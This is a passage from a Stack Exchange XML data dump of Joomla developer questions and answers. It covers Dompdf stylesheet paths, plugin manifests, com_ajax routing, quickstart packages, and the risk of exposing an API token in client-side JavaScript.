rel=&amp;quot;stylesheet&amp;quot; href=&amp;quot;/media/plg_system_pdfgenerator/template/css/style.css&amp;quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;For now this is my code instantiating the &lt;strong&gt;Dompdf&lt;/strong&gt; library, not using the DOMDocument for my stylesheet :&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;// create pdf&#xA;$dompdf = new Dompdf(['isHtml5ParserEnabled' =&amp;gt; true, 'isRemoteEnabled' =&amp;gt; true]);&#xA;$dompdf-&amp;gt;setBasePath(JPATH_ROOT . self::$template_directory . DS . 'css' . DS);&#xA;$dompdf-&amp;gt;loadHtml($html, 'utf-8');&#xA;$dompdf-&amp;gt;setPaper('A4', 'portrait');&#xA;$dompdf-&amp;gt;render();&#xA;&#xA;// save pdf&#xA;$output = $dompdf-&amp;gt;output();&#xA;&#xA;try {&#xA;    $response = @file_put_contents(JPATH_ROOT . DS . self::$pdf_storage . DS . $item-&amp;gt;alias . '.pdf', $output, LOCK_EX);&#xA;} catch (\Throwable $th) {&#xA;    Log::add($th-&amp;gt;getMessage(), Log::ERROR, self::$extension);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;And this is the template's code:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;html&amp;gt;&#xA;  &amp;lt;head&amp;gt;&#xA;    &amp;lt;link type=&amp;quot;text/css&amp;quot; href=&amp;quot;style.css&amp;quot; rel=&amp;quot;stylesheet&amp;quot; /&amp;gt;&#xA;  &amp;lt;/head&amp;gt;&#xA;  &amp;lt;body&amp;gt;&#xA;    ...&#xA;  &amp;lt;/body&amp;gt;&#xA;&amp;lt;/html&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="16160" LastEditorUserId="12352" LastEditDate="2022-03-01T11:30:15.527" LastActivityDate="2022-03-02T13:40:59.610" Title="Trouble linking external css file with Dompdf library" Tags="|development|joomla-4|system-plugin|php7|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="31988" PostTypeId="1" CreationDate="2022-03-01T22:34:02.377" Score="1" ViewCount="128" Body="&lt;p&gt;I know that you can add a controller into the &lt;code&gt;src/Controller/&lt;/code&gt; folder directly, and Joomla automatically recognizes it as a controller class, and you can route to it using either&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;?controller=controllername&#xA;?task=controllername.task&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;But this doesn't seem to work if the controller class is in a directory, for example: &lt;code&gt;src/Controller/User/ControllerName.php&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;How do I use folders?&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Edit&lt;/strong&gt;: The reason for adding folders is because there are many controllers, and having them grouped together is helpful.&lt;/p&gt;&#xA;" OwnerUserId="16163" LastEditorUserId="16163" LastEditDate="2022-03-02T01:25:44.793" LastActivityDate="2022-12-13T09:04:30.533" Title="Folders inside src/Controller/ folder" Tags="|component|joomla-4.x|controller|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="31989" PostTypeId="1" CreationDate="2022-03-02T07:21:46.693" Score="1" ViewCount="40" Body="&lt;p&gt;I run a website which has Adsense ads served on all pages (in the footer for example) and these ads load absolutely fine on all pages of my website. I'm currently building a tool/feature for users and they'll need to be logged in to use it (using Joomla login), however when I test this and log in, Adsense ads aren't being served. Sometimes the containers load/render the space, but no ads load.&lt;/p&gt;&#xA;&lt;p&gt;I've searched high/low for a solution but can't find any help on this issue.&lt;/p&gt;&#xA;&lt;p&gt;I've tested Adsense code in several different formats, hardcoded, as a module, reusing known good code from other areas of the site. I've also tried creating a standard text based article for logged in users and Adsense ads won't show here either.&lt;/p&gt;&#xA;&lt;p&gt;Adsense is showing an issue in policy centre, saying I have restricted ad serving on logged in pages but their help centre is next to useless, I've checked everything they suggest but nothing is working. I have set up crawler logins, no blocking in place, Adsense account is verified and been live for years.&lt;/p&gt;&#xA;&lt;p&gt;There are a handful of error in devtools console, but these are present on pages where Adsense ads display as expected.&lt;/p&gt;&#xA;&lt;p&gt;Any thoughts or input would be appreciated.&lt;/p&gt;&#xA;" OwnerUserId="16164" LastActivityDate="2022-03-02T07:21:46.693" Title="Adsense Ads Not Loading on Joomla Logged In Pages" Tags="|joomla-3.x|google|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="31990" PostTypeId="2" ParentId="31975" CreationDate="2022-03-02T12:08:28.117" Score="1" Body="&lt;p&gt;One alternative is to use two modules with different permissions.&lt;/p&gt;&#xA;&lt;p&gt;For example, one for visitors (public) and one for registered users (all other groups).&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/nshvo.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/nshvo.png&quot; alt=&quot;Module Permissions&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="16159" LastActivityDate="2022-03-02T12:08:28.117" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="31991" PostTypeId="2" ParentId="31987" CreationDate="2022-03-02T13:32:18.163" Score="1" Body="&lt;p&gt;Ok so finaly I've found what wasn't working out and managed to get it to work without the basePath and with the use of DOMDocument.&lt;/p&gt;&#xA;&lt;p&gt;This is what I was doing wrong in my code, and also why I was having trouble with the images :&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$href = Uri::root() . $stylesheet-&amp;gt;getAttribute('href');&#xA;if (str_contains($href, '//')) {&#xA;    // this doesn't work since it is getting rid of the '//' in http://&#xA;    $href = str_replace('//', '/', $href);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;So I have replaced it with this :&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$uri = Uri::getInstance();&#xA;&#xA;// check if path is absolute&#xA;if (strpos($stylesheet-&amp;gt;getAttribute('href'), '/') === 0) {&#xA;    $href = $uri-&amp;gt;getScheme() . '://' . $uri-&amp;gt;getHost() . $stylesheet-&amp;gt;getAttribute('href');&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I really created a function to manage different tags wich have src or href attribute, but for the sake of staying coherent I replaced it with $stylesheet for my answer.&lt;/p&gt;&#xA;&lt;p&gt;Someone else was kind enough to give me this answer aswell but I haven't tried it out :&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Add dompdf option 'chroot' with value of JPATH_SITE&lt;/li&gt;&#xA;&lt;li&gt;All src=&amp;quot;xxx&amp;quot; or href=&amp;quot;xxx&amp;quot; attribs should use the full image file name, not link, i.e. src=&amp;quot;/home/www/site/com/images/img.jpg&amp;quot;. You&#xA;should convert URLs in src/href attrib to full filenames.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="16160" LastEditorUserId="16160" LastEditDate="2022-03-02T13:40:59.610" LastActivityDate="2022-03-02T13:40:59.610" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="31992" PostTypeId="1" CreationDate="2022-03-03T13:18:52.620" Score="1" ViewCount="161" Body="&lt;p&gt;What are the key points of creating a Joomla 4 quickstart package? It seems that the way we used to do it for Joomla 3 does not work. We were creating a Joomla 3 quickstart following these steps:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Export db (except finder users user notes etc. db tables)&lt;/li&gt;&#xA;&lt;li&gt;Change table prefix to #__&lt;/li&gt;&#xA;&lt;li&gt;Localise your sql&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Quick start packages created with this old way fail when trying to install. When inspecting the Joomla 4 installation folder, we see 3 different sql files base.sql, extensions.sql and supports.sql. What is different for Joomla 4?&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;p&gt;I really need help on this topic. Does anyone know how to create a Joomla 4 quickstart except for Akeeba option? Thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="16045" LastEditorUserId="12352" LastEditDate="2022-05-22T13:35:00.607" LastActivityDate="2022-05-22T13:35:00.607" Title="How to create a Joomla 4 Quickstart package" Tags="|joomla-4.x|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="31993" PostTypeId="2" ParentId="31992" CreationDate="2022-03-04T13:08:02.550" Score="1" Body="&lt;p&gt;With a little help of Akeeba Backup component, you do this very easy.&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Install Akeeba Backup&lt;/li&gt;&#xA;&lt;li&gt;Go to Akeeba Backup Profile Configuration and choose &amp;quot;&lt;strong&gt;ZIP format&lt;/strong&gt;&amp;quot; from Archiver engine.&lt;/li&gt;&#xA;&lt;li&gt;Save and Create a new backup.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="15836" LastActivityDate="2022-03-04T13:08:02.550" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="31994" PostTypeId="2" ParentId="31975" CreationDate="2022-03-04T13:36:51.087" Score="0" Body="&lt;p&gt;A solution is to use the native ACL built on Joomla 4 without anything else.&lt;/p&gt;&#xA;&lt;p&gt;Example:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Create an article and choose access to &amp;quot;&lt;strong&gt;Registered&lt;/strong&gt;&amp;quot; users.&lt;/li&gt;&#xA;&lt;li&gt;Split th earticle with using &amp;quot;Read more&amp;quot; tag after few lines.&lt;/li&gt;&#xA;&lt;li&gt;On the &amp;quot;Options&amp;quot; article tab, scroll down and choose &amp;quot;&lt;strong&gt;Yes&lt;/strong&gt;&amp;quot; from &amp;quot;Unauthorised Links&amp;quot;.&lt;/li&gt;&#xA;&lt;li&gt;Create a menu item with &amp;quot;Category Blog&amp;quot; type.&lt;/li&gt;&#xA;&lt;li&gt;On the &amp;quot;Options&amp;quot; menu item tab, choose &amp;quot;&lt;strong&gt;Use Article Settings&lt;/strong&gt;&amp;quot; from &amp;quot;Unauthorised Links&amp;quot;.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;That's all.&lt;/p&gt;&#xA;&lt;p&gt;The guest user will see the intro title and the intro text and at the end the &amp;quot;&lt;strong&gt;Register to read more&lt;/strong&gt;&amp;quot;.&lt;/p&gt;&#xA;" OwnerUserId="15836" LastActivityDate="2022-03-04T13:36:51.087" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="31995" PostTypeId="1" CreationDate="2022-03-04T17:20:26.747" Score="0" ViewCount="254" Body="&lt;p&gt;As a sort of newbie developer with php/Joomla, I created a content plugin for Joomla 3 which pretty much did what I wanted and expected...&lt;/p&gt;&#xA;&lt;p&gt;I then decided to migrate it to Joomla 4 following the very few examples that I could google here and there and nothing works. In fact, the plugin doesn't even seem to load.&lt;/p&gt;&#xA;&lt;p&gt;So, I decided to get back to a very simple sort of helloworld type thing test and even this test doesn't do anything. I should add that install and activation work and no error message is ever displayed when setting to Maximum.&lt;/p&gt;&#xA;&lt;p&gt;Here's the very simple thing I tried:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;defined('_JEXEC') or die; &#xA;use Joomla\CMS\Plugin\CMSPlugin; &#xA;class PlgContentTest extends CMSPlugin &#xA;{ &#xA;    public function onContentPrepare($context, &amp;amp;$article, &amp;amp;$params, $page = 0) &#xA;    { &#xA;        if ($context !== 'com_content.article') &#xA;        { &#xA;            echo 'Wrong!'; &#xA;            return; &#xA;        } &#xA;        echo 'Here!'; &#xA;    }&#xA;}&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I cannot figure out what I've done wrong here, except maybe something about file naming?&lt;/p&gt;&#xA;&lt;p&gt;My xml:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;utf-8&amp;quot;?&amp;gt;&#xA;&amp;lt;extension type=&amp;quot;plugin&amp;quot; version=&amp;quot;4.0&amp;quot; method=&amp;quot;upgrade&amp;quot; group=&amp;quot;content&amp;quot;&amp;gt;&#xA;&amp;lt;name&amp;gt;Test&amp;lt;/name&amp;gt;&#xA;&amp;lt;author&amp;gt;&amp;lt;/author&amp;gt;&#xA;&amp;lt;creationDate&amp;gt;January 2022&amp;lt;/creationDate&amp;gt;&#xA;&amp;lt;copyright&amp;gt;Copyright (C) 2022+ . All rights reserved.&amp;lt;/copyright&amp;gt;&#xA;&amp;lt;license&amp;gt;GNU General Public License version 2 or later; see LICENSE.txt&amp;lt;/license&amp;gt;&#xA;&amp;lt;version&amp;gt;1.5&amp;lt;/version&amp;gt;&#xA;&amp;lt;description&amp;gt;PLG_CONTENT_TEST_DESCRIPTION&amp;lt;/description&amp;gt;&#xA;&amp;lt;files&amp;gt;&#xA;&amp;lt;filename plugin=&amp;quot;Test&amp;quot;&amp;gt;Test.php&amp;lt;/filename&amp;gt;&#xA;&amp;lt;filename&amp;gt;index.html&amp;lt;/filename&amp;gt;&#xA;&amp;lt;/files&amp;gt;&#xA;&amp;lt;languages folder=&amp;quot;administrator/language&amp;quot;&amp;gt;&#xA;&amp;lt;language tag=&amp;quot;en-GB&amp;quot;&amp;gt;language/en-GB/en-GB.plg_content_Test.ini&amp;lt;/language&amp;gt;&#xA;&amp;lt;language tag=&amp;quot;en-GB&amp;quot;&amp;gt;language/en-GB/en-GB.plg_content_Test.sys.ini&amp;lt;/language&amp;gt;&#xA;&amp;lt;language tag=&amp;quot;fr-FR&amp;quot;&amp;gt;language/fr-FR/fr-FR.plg_content_Test.ini&amp;lt;/language&amp;gt;&#xA;&amp;lt;language tag=&amp;quot;fr-FR&amp;quot;&amp;gt;language/fr-FR/fr-FR.plg_content_Test.sys.ini&amp;lt;/language&amp;gt;&#xA;&amp;lt;languages&amp;gt;&#xA;&amp;lt;/extension&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="16171" LastEditorUserId="12352" LastEditDate="2022-03-04T22:49:26.067" LastActivityDate="2023-06-09T07:10:26.577" Title="Custom plugin doesn't even seem to load on Joomla 4" Tags="|joomla-4.x|joomla-4|content-plugin|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="31996" PostTypeId="2" ParentId="31995" CreationDate="2022-03-04T23:26:09.723" Score="1" Body="&lt;p&gt;Why do you use a capital in your filename? It's something you questioned yourself already.&lt;/p&gt;&#xA;&lt;p&gt;Could you rename the file from Test.php to test.php?&lt;/p&gt;&#xA;&lt;p&gt;And change&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;filename plugin=&amp;quot;Test&amp;quot;&amp;gt;Test.php&amp;lt;/filename&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;to&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;filename plugin=&amp;quot;test&amp;quot;&amp;gt;test.php&amp;lt;/filename&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;And do the same with language files.&lt;/p&gt;&#xA;&lt;p&gt;btw: not related to your issue, but two thing to make it a bit easier:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;you don't need to add the language in the file name:&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;pre&gt;&lt;code&gt;language/en-GB/en-GB.plg_content_test.ini&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;can become&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;language/en-GB/plg_content_test.ini&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;and you can make it yourself easier:&#xA;add&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;folder&amp;gt;language&amp;lt;/folder&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;and remove the whole &lt;code&gt;&amp;lt;languages folder=&amp;quot;administrator/language&amp;quot;&amp;gt; [..] &amp;lt;languages&amp;gt;&lt;/code&gt; part&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;edit:&lt;/strong&gt; Could you try changing your xml manifest to:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;utf-8&amp;quot;?&amp;gt;&#xA;&amp;lt;extension version=&amp;quot;4.0&amp;quot; type=&amp;quot;plugin&amp;quot; group=&amp;quot;content&amp;quot; method=&amp;quot;upgrade&amp;quot;&amp;gt;&#xA;&#xA;    &amp;lt;name&amp;gt;plg_content_test&amp;lt;/name&amp;gt;&#xA;    &#xA;    &amp;lt;files&amp;gt;&#xA;        &amp;lt;filename plugin=&amp;quot;test&amp;quot;&amp;gt;test.php&amp;lt;/filename&amp;gt;&#xA;        &amp;lt;folder&amp;gt;language&amp;lt;/folder&amp;gt;&#xA;    &amp;lt;/files&amp;gt;&#xA;&#xA;&amp;lt;/extension&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;and create a /language/en-GB/ in your plugin folder with files:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;plg_content_test.ini&lt;/li&gt;&#xA;&lt;li&gt;plg_content_test.sys.ini&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="13472" LastEditorUserId="13472" LastEditDate="2022-03-05T13:59:44.450" LastActivityDate="2022-03-05T13:59:44.450" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="31998" PostTypeId="2" ParentId="22891" CreationDate="2022-03-05T22:44:44.597" Score="2" Body="&lt;p&gt;&amp;quot;Manually updating&amp;quot; is not a well-defined term.  The technique that involves downloading an installation package, extracting the files (or a subset of those files) and replacing the existing filesystem used by a J! website, is not supported by the Joomla! project and is likely to break existing websites.  Some people refer to this technique as the &amp;quot;manual&amp;quot; update method.  While it may have been possible in the past to update Joomla! by overwriting the existing filesystem this way—and this was the &lt;em&gt;&lt;strong&gt;only&lt;/strong&gt;&lt;/em&gt; method available in J! 1.0—this approach does not work today.  The only supported updating method is to use the &lt;em&gt;Joomla! Update&lt;/em&gt; component.&lt;/p&gt;&#xA;&lt;p&gt;It may have been possible, on occasions, for people to &amp;quot;update&amp;quot; Joomla! by overwriting the existing filesystem with files and to patch the database afterwards but these approaches usually end in failure.  For those reasons, if people resort to &amp;quot;manual&amp;quot; update methods, the results are unpredictable.&lt;/p&gt;&#xA;&lt;p&gt;Some people use the term &amp;quot;manual update&amp;quot; when it involves using the &lt;code&gt;Upload &amp;amp; Update&lt;/code&gt; feature of the &lt;em&gt;Joomla! Update&lt;/em&gt; component; this is not a manual update: it is a crutch to be used on occasions when the &lt;code&gt;Live Update&lt;/code&gt; feature fails for some reasons.  There may be other reasons why the &lt;em&gt;Joomla! Update&lt;/em&gt; component does not  work (e.g. inappropriate PHP environmental settings, inability to connect to the internet, etc.).  Replacing or overwriting files is not a panacea for these issues and almost always causes more problems than it attempts to cure.&lt;/p&gt;&#xA;&lt;p&gt;It is better to understand the causes for why people may be unable to use the &lt;em&gt;Joomla! Update&lt;/em&gt; component—and resolve those issues—that it is to recommend workarounds that may work in a handful of situations but generally do not work for most people.&lt;/p&gt;&#xA;" OwnerUserId="16174" LastEditorUserId="16174" LastEditDate="2022-03-06T05:30:42.200" LastActivityDate="2022-03-06T05:30:42.200" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="31999" PostTypeId="2" ParentId="31897" CreationDate="2022-03-06T19:49:33.157" Score="1" Body="&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Common causes for the “failed to start session” error in Joomla:  see &lt;a href=&quot;https://forum.joomla.org/viewtopic.php?t=982009&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://forum.joomla.org/viewtopic.php?t=982009&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Make sure that your version of PHP can connect to the database:  see &lt;a href=&quot;https://docs.joomla.org/J3.x:Optional_Technical_Requirements&quot; rel=&quot;nofollow noreferrer&quot;&gt;Optional Technical Requirements for J! 3.x&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;ol start=&quot;3&quot;&gt;&#xA;&lt;li&gt;Unusual causes for this error:&#xA;(a) Tinkering with the file &lt;strong&gt;configuration.php&lt;/strong&gt; to change the SQL user password; or&#xA;(b) Is your disk full?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="16174" LastActivityDate="2022-03-06T19:49:33.157" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32000" PostTypeId="1" AcceptedAnswerId="32007" CreationDate="2022-03-09T06:33:43.040" Score="0" ViewCount="263" Body="&lt;p&gt;I posted a recent article on the  website, one of the users logged in the admin panel logged in and tried to edit the article accidentally the article disappeared and I can't get it. I have searched under trashed, archived but I still can  not find it. How do I find the article?&lt;/p&gt;&#xA;" OwnerUserId="15691" LastActivityDate="2022-03-10T09:21:00.137" Title="Missing article in the admin panel" Tags="|joomla-3.x|administrator|" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 4.0" />
  <row Id="32001" PostTypeId="1" CreationDate="2022-03-09T15:35:53.233" Score="1" ViewCount="61" Body="&lt;p&gt;I'm trying to load an existing table (not using primary key) and then storing it, but get this error:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Error: Table 's' was not locked with LOCK TABLES: Unknown column 'alias' in 'field list'&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;My code:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$module = JTable::getInstance('Module');&#xA;$module-&amp;gt;load(['title' =&amp;gt; $title]);&#xA;// ... set properties, or not, same error anyway&#xA;$module-&amp;gt;store(true);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;&lt;p&gt;I'm using MySQL 8.&lt;/p&gt;&#xA;" OwnerUserId="7077" LastActivityDate="2022-03-09T15:35:53.233" Title="Error: Table 's' was not locked with LOCK TABLES at $table-&gt;store()" Tags="|jtable|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="32003" PostTypeId="1" AcceptedAnswerId="32004" CreationDate="2022-03-09T17:15:53.707" Score="1" ViewCount="349" Body="&lt;p&gt;I have this customfield plugin where the user can select a folder in a popup, the call should be ajax based. The form-&amp;quot;field&amp;quot; including AJAX call etc. works already in some of my &lt;strong&gt;modules&lt;/strong&gt; where the Ajax call goes via com_ajax into the module class and calls there MethodNameAjax. But i'm not able to bring this to work in my customfield module...&lt;/p&gt;&#xA;&lt;p&gt;Where do i have to write in my Ajax Response Point &amp;amp; how?&lt;/p&gt;&#xA;&lt;p&gt;customfield.php:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;class PlgFieldsCustomfieldname extends FieldsListPlugin{&#xA;   public function onCustomFieldsPrepareDom($field, DOMElement $parent, JForm $form){...}&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;then inside models/fields/modalfolderselect.php the formfield for the &amp;quot;selection&amp;quot;:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;class JFormFieldModalFolderSelect extends JFormField{&#xA;  protected function getInput(){ ... Field render ... }&#xA;  protected function getLabel(){ ... }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;And the JS (for the modal and the AJAX Call from backend)&#xA;/assets/modalfolderselect.js:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;function getFilesystemAjax(path = ''){&#xA;    let data = {&#xA;        path:path,&#xA;    };&#xA;    let request = {&#xA;        'data': JSON.stringify(data),&#xA;        'format': 'json',&#xA;        'option':'com_ajax',&#xA;        'group': 'fields', (also tried 'Fields' here)&#xA;        'plugin': 'customfieldname',&#xA;        'method': 'listfilesystem'&#xA;    };&#xA;    return jQuery.ajax({&#xA;        url: '/index.php',&#xA;        type : 'GET',&#xA;        data: request,&#xA;        dataType:'json'&#xA;    });&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;My problem now is, the plugin itself is not of type &amp;quot;Ajax&amp;quot; and it does not has to be because it is a customfield that has to extend FieldsListPlugin - and also the form field itself is has to extend JFormField... So i've found a hint that you can send the &amp;quot;group&amp;quot; as query option - unfortunately this is not enough.&#xA;I need at least a simple example code how the AJAX call into a plugin in this scenario will work...&lt;/p&gt;&#xA;&lt;p&gt;At least i've tried to put in this methods on various locations in my code without any response / error log at all.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;public ?static? function onAjaxListfilesystem(){&#xA;        error_log(&amp;quot;AJAX Call!&amp;quot;);&#xA;        return &amp;quot;Ajax Call!&amp;quot;;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="9407" LastActivityDate="2022-03-09T20:24:02.153" Title="com_ajax to plugin / or plugin field" Tags="|plugin|custom-field|form-fields-types|com-ajax|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="32004" PostTypeId="2" ParentId="32003" CreationDate="2022-03-09T20:24:02.153" Score="2" Body="&lt;p&gt;Plugins don't use &lt;code&gt;method&lt;/code&gt; parameter. Instead the value you currently have there should be used in &lt;code&gt;plugin&lt;/code&gt; parameter. This is because &lt;code&gt;com_ajax&lt;/code&gt; dispatches an event rather than calling a specific method of a specific plugin. So the request data should be this:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;let request = {&#xA;    'data': JSON.stringify(data),&#xA;    'format': 'json',&#xA;    'option':'com_ajax',&#xA;    'group': 'fields',&#xA;    'plugin': 'listfilesystem'&#xA;};&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12652" LastActivityDate="2022-03-09T20:24:02.153" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="32005" PostTypeId="1" CreationDate="2022-03-10T03:35:09.520" Score="2" ViewCount="129" Body="&lt;p&gt;I have created a couple of web services under Joomla 4 that are simple enough calls to the same website to refresh a couple of fields when something else changes. In my JS code I have the 'X-Joomla-Token' along with my API token of the Super User. All works fine.&lt;/p&gt;&#xA;&lt;p&gt;As the function is currently on a development/test machine and only visible to Registered users the risk of any security exposure is minimal however my concern is what happens if/when I need to have a public facing web service API and my Super User API token is visible to any hack that can use their browsers developers tools to find the token and cut/paste my super users token into their own code or service like Postman and create themselves a new Super User account or delete content using the core endpoints.&lt;/p&gt;&#xA;&lt;p&gt;I understand that in the future web services wont be limited to using Super User accounts token and users/token with a lower level of access should be able to be used therefore  is it a bit early to have publicly accessible API's with Joomla?&lt;/p&gt;&#xA;&lt;p&gt;Are there approaches to hide or obfuscate the token so that it can't be used by others for their own naughtiness or do I need to wait until limited user/tokens are available to manage access to public endpoints?&lt;/p&gt;&#xA;" OwnerUserId="13306" LastActivityDate="2022-03-10T08:08:44.570" Title="Is showing a Joomla API token in JS a security risk?" Tags="|joomla-api|joomla-4.x|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32006" PostTypeId="2" ParentId="32005" CreationDate="2022-03-10T08:08:44.570" Score="1" Body="&lt;p&gt;With a Joomla API token, you can get, create, delete and update pretty much anything on the site, including the application configuration.&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;I have created a couple of web services under Joomla 4 that are simple enough calls to the same website to refresh a couple of fields when something else change.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;Now, let's say I visit your website, register an account, inspect the source code, and see your API token.&#xA;I could create &lt;strong&gt;myself&lt;/strong&gt; a &lt;em&gt;super admin&lt;/em&gt; account, &lt;strong&gt;remove you&lt;/strong&gt; as a user or simply destroy your site.&lt;/p&gt;&#xA;&lt;p&gt;You need to ensure that all API calls are done server-side, so that the token is not exposed and your only fetch data, rather than allowing people to create, update and delete.&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2022-03-10T08:08:44.570" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="32007" PostTypeId="2" ParentId="32000" CreationDate="2022-03-10T09:21:00.137" Score="0" Body="&lt;p&gt;When you find the article in the DB using phpMyAdmin look in the column called 'access' in the '#__contents' and it will have a number. You take that number and look in table '#__viewlevels' for that number in the ID column and that will tell you what View Level of Access that you need to be able to see the article. Or change the value in 'access' in the '#__content' table to a '2' and it should be available to 'Registered' so you should be able to see it. However if you are not the 'Super User', you should be contacting the person that is for help and not bypass security as explained.&lt;/p&gt;&#xA;" OwnerUserId="13306" LastActivityDate="2022-03-10T09:21:00.137" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
